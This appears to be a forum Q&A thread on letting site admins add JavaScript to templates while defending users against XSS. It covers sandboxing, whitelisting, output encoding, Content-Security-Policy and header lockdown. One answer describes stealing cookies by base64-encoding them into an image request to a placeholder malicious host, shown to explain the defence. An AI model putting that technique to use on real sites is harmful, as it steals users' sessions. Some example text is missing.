We are trying to find the best way to allow JavaScript in a web application while being safe against XSS.
Site admins have the privilege to insert JavaScript to control the site templates, and publish this to site users. However, site users cannot insert JavaScript.
I know allowing JavaScript will open up a XSS vulnerability, letting site admins steal sensitive info from site users. Is there a better way to allow JavaScripts for site admins?
Either run them in a cross-domain iframe, or use something like Google Caja to isolate them.
Your question shows a misguided understanding of XSS.
It is important for you to understand the basic mechanism of the exploit. User input data (from URL, cookies, post data, Etc. Can enter the program and thereafter be used to attack your users, your server or your business.
You need to identify every place where this input data appears, and subject it to a check such as a character whitelist (eg regex match). This will prevent injection flaws of any type, including XSS.
Further, you ADDITIONALLY have to ensure that any data printed out that is not generated by your own developers (including perhaps a site administrator in your case) is encoded appropriately for its context. E.g. replacing < with < in html entities, and other encoding/escaping as appropriate for attributes, JavaScript, JSON etc.
The last part is when a subset of html or JavaScript is allowed as a user input (for example if you allow <B> but not <script> ). In this case you need to transform all input thusly:
In my example I show “whitelisted” html tags but you will have to similarly whitelist JavaScript. You have to go a bit further, understanding exactly which JavaScript could be allowed and run that through a parser to identify the parts that can he allowed in user input.
I hope you find this helpful. I am an application security expert with ten years’ experience.
Since the site admins can edit the templates they have very high privileges on the site. You must assume they can edit and add anything, because HTML tag limitations provided by the CMS are for content, whereas templates could contain anything. In this case you could work with HTTP headers, if the site admins (web developers) don't have access to the server configuration.
The user data could leak if the site can load content from untrusted external sources. That doesn't limit to JavaScript, but any content. Therefore, limiting allowed tags is useless against your own web developers. With JavaScript alone it's possible to extract all cookies, encode them into base64 string and make the browser request for <img src="https://malicious.example.com/<base64string>.jpg">.
It's possible to prevent leakages by using Content-Security-Policy header, but it takes some effort to list all the external sources that are required by the site. You could use the developer tools (F12) on your browser to list the resources currently accessed as a starting point. Even more important than blocking such request is reporting them (report-to). Any measurements will be circumvented somehow, if some of the developers is really up to stealing your user data. If you become aware of such activity, you can denounce them. (Same applies to CMS add-ons: you can remove them.)
X-XSS-Protection is another response header for fighting XSS, but its only effective against non-persistent i.e. reflected XSS as it only removes reflected content from the site. It doesn't work against persistent scripts planted by your own developers and it's enabled by default, but likewise you might want to add reporting.
In order to make these truly effective you must also prevent web developers from modifying the headers. Example with Apache disable PHP function header() with php_admin_value[disable_functions] and use AllowOverride and AllowOverrideList to limit mod_headers directives in .htaccess.
